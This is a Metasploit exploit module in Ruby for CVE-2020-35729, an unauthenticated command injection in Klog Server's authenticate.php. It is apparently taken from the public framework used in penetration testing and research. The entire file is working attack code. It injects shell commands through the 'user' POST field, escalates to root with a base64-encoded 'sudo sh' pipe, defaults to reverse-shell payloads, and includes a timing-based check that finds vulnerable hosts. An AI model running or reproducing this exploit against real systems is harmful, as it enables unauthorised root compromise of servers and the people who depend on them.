##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Klog Server authenticate.php user Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability
          in Klog Server versions 2.4.1 and prior.

          The `authenticate.php` file uses the `user` HTTP POST parameter in a call
          to the `shell_exec()` PHP function without appropriate input validation,
          allowing arbitrary command execution as the apache user.

          The sudo configuration permits the apache user to execute any command
          as root without providing a password, resulting in privileged command
          execution as root.

          This module has been successfully tested on Klog Server version 2.4.1
          virtual appliance.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'b3kc4t', # Vulnerability discovery and exploit
          'Metin Yunus Kandemir', # Metasploit module
          'bcoles', # Metasploit module
        ],
        'References' => [
          ['CVE', '2020-35729'],
          ['CWE', '78'],
          ['EDB', '49366'],
          ['EDB', '49474'],
          ['PACKETSTORM', '160798'],
          ['PACKETSTORM', '161123'],
          ['URL', 'https://github.com/mustgundogdu/Research/tree/main/KLOG_SERVER'],
          ['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']
        ],
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Platform' => %w[unix linux],
        'Targets' => [
          [
            'Linux (x86)', {
              'Arch' => ARCH_X86,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux (x64)', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux (cmd)', {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-12-27',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),
        OptBool.new('USE_SUDO', [true, 'Execute payload as root using sudo', true])
      ]
    )
  end

  def login(user, pass)
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'actions', 'authenticate.php'),
      'vars_post' => {
        'user' => user,
        'pswd' => pass
      }
    })
  end

  def execute_command(cmd, _opts = {})
    user = "#{rand_text_alpha(8..12)}\" & "
    if datastore['USE_SUDO']
      user << "echo #{Rex::Text.encode_base64(cmd)}|base64 -d|sudo sh"
    else
      user << cmd
    end
    user << ' & echo "'

    pass = rand_text_alpha(8..12)
    login(user, pass)
  end

  def check
    sleep = rand(9..11)
    t1 = Time.now.to_i
    res = execute_command("sleep #{sleep}")
    t2 = Time.now.to_i

    unless res
      return CheckCode::Safe('Connection failed')
    end

    unless res.code == 302 && res.headers['location'].to_s.include?('login.php?error')
      return CheckCode::Safe("Unexpected reply (HTTP #{res.code}). Expected redirect (HTTP 302) to login error page.")
    end

    diff = t2 - t1

    if diff < sleep
      return CheckCode::Safe("No response within the expected period of time (#{sleep} seconds).")
    end

    CheckCode::Vulnerable("Response received after #{diff} seconds.")
  end

  def exploit
    if target.arch.first == ARCH_CMD
      execute_command(payload.encoded)
    else
      execute_cmdstager(background: true)
    end
  end
end
